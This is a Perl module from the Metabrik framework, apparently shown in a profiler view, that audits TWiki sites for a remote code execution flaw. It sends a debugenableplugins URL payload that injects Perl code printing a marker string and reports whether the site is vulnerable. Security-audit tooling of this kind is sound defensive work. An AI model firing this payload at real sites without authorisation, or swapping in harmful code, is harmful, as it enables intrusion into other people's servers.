| 1 | # | ||
| 2 | # $Id$ | ||
| 3 | # | ||
| 4 | # audit::twiki Brik | ||
| 5 | # | ||
| 6 | package Metabrik::Audit::Twiki; | ||
| 7 | 1 | ▶ | use strict; |
|
Subroutine
BEGIN: called CC=1 SCAR=0.0
| |||
| 8 | 1 | ▶ | use warnings; |
|
Subroutine
BEGIN: called CC=1 SCAR=0.0
| |||
| 9 | |||
| 10 | 1 | ▶ | use base qw(Metabrik::Client::Www); |
|
Subroutine
BEGIN: called CC=1 SCAR=0.0
| |||
| 11 | |||
| 12 | sub brik_properties { | ||
| 13 | return { | ||
| 14 | revision => '$Revision$', | ||
| 15 | tags => [ qw(unstable) ], | ||
| 16 | author => 'GomoR <GomoR[at]metabrik.org>', | ||
| 17 | license => 'http://opensource.org/licenses/BSD-3-Clause', | ||
| 18 | attributes => { | ||
| 19 | target => [ qw(uri) ], | ||
| 20 | url_paths => [ qw($path_list) ], | ||
| 21 | }, | ||
| 22 | attributes_default => { | ||
| 23 | target => 'http://localhost/', | ||
| 24 | url_paths => [ '/' ], | ||
| 25 | }, | ||
| 26 | commands => { | ||
| 27 | debugenableplugins_rce => [ qw(target|OPTIONAL url_path_list|OPTIONAL) ], | ||
| 28 | }, | ||
| 29 | }; | ||
| 30 | } | ||
| 31 | |||
| 32 | sub debugenableplugins_rce { | ||
| 33 | my $self = shift; | ||
| 34 | my ($target, $url_paths) = @_; | ||
| 35 | |||
| 36 | $target ||= $self->target; | ||
| 37 | $url_paths ||= $self->url_paths; | ||
| 38 | $self->brik_help_run_undef_arg('debugenableplugins_rce', $target) or return; | ||
| 39 | $self->brik_help_run_undef_arg('debugenableplugins_rce', $url_paths) or return; | ||
| 40 | $self->brik_help_run_undef_arg('debugenableplugins_rce', $url_paths, 'ARRAY') or return; | ||
| 41 | |||
| 42 | my $exploit = '?debugenableplugins=BackupRestorePlugin%3bprint("Content-Type:text/html'. | ||
| 43 | "\r\n\r\n".'Vulnerable TWiki Instance")%3bexit'; | ||
| 44 | |||
| 45 | $target =~ s/\/*$//; | ||
| 46 | |||
| 47 | for my $url_path (@$url_paths) { | ||
| 48 | $url_path =~ s/^\/*//; | ||
| 49 | |||
| 50 | my @users = (); | ||
| 51 | |||
| 52 | my $url = $target.'/'.$url_path.$exploit; | ||
| 53 | |||
| 54 | $self->log->verbose("debugenableplugins_rce: testing url: [$url]"); | ||
| 55 | |||
| 56 | my $r = $self->get($url) or next; | ||
| 57 | if ($r->{code} == 200) { | ||
| 58 | my $decoded = $r->{content}; | ||
| 59 | $self->log->verbose($decoded); | ||
| 60 | if ($decoded =~ /Vulnerable TWiki Instance/i) { | ||
| 61 | $self->log->info("Vulnerable"); | ||
| 62 | } | ||
| 63 | else { | ||
| 64 | $self->log->info("Not vulnerable?"); | ||
| 65 | } | ||
| 66 | } | ||
| 67 | } | ||
| 68 | |||
| 69 | return 1; | ||
| 70 | } | ||
| 71 | |||
| 72 | 1; | ||
| 73 | |||
| 74 | __END__ | ||